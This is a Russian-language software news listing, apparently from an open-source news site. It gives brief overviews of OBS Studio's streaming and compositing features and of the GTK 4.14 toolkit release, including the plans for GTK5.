Целью разработки OBS Studio было создание переносимого варианта приложения Open Broadcaster Software (OBS Classic), не привязанного к платформе Windows, поддерживающего OpenGL и расширяемого через плагины. Отличием также является использование модульной архитектуры, подразумевающей разделение интерфейса и ядра программы. Поддерживается перекодирование исходных потоков, захват видео во время игр и стриминг в PeerTube, Twitch, Facebook Gaming, YouTube, DailyMotion, Hitbox и другие сервисы. Для обеспечения высокой производительности возможно использование механизмов аппаратного ускорения (например, NVENC, Intel QSV и VAAPI). Предоставляется поддержка композитинга с построением сцены на основе произвольных видеопотоков, данных с web-камер, карт захвата видео, изображений, текста, содержимого окон приложений или всего экрана. В процессе вещания допускается переключение между несколькими предопределёнными вариантами сцен (например, для переключения представлений с акцентом на содержимое экрана и изображение с web-камеры). Программа также предоставляет инструменты для микширования звука, фильтрации при помощи VST-плагинов, выравнивая громкости и подавления шумов. Ключевые изменения:
| ||
Обсуждение (39 +23) |
Тип: Программы |
| ||
· | 12.03.2024 | Доступен графический тулкит GTK 4.14 с новыми движками для OpenGL и Vulkan (187 +18) |
После семи месяцев разработки опубликован релиз многоплатформенного тулкита для создания графического интерфейса пользователя - GTK 4.14.0. GTK 4 развивается в рамках нового процесса разработки, который пытается предоставить разработчикам приложений стабильный и поддерживаемый в течение нескольких лет API, который можно использовать не опасаясь, что каждые полгода придётся переделывать приложения из-за изменения API в очередной ветке GTK.
В дальнейшем планируется сформировать экспериментальную ветку 4.90, в которой будет развиваться функциональность для будущего выпуска GTK5. В ветку GTK5 будут включены изменения нарушающие совместимость на уровне API, например, связанные с переводом в разряд устаревших некоторых виджетов, таких как старый диалог выбора файлов. Также обсуждается возможность прекращения в ветке GTK5 поддержки протокола X11 и оставления возможности работы только с использованием протокола Wayland. Среди наиболее заметных улучшений в GTK 4.14:
| ||
Обсуждение (187 +18) |
Тип: Программы |
| ||
Следующая страница (раньше) >> |
Закладки на сайте Проследить за страницей |
Created 1996-2024 by Maxim Chirkov Добавить, Поддержать, Вебмастеру |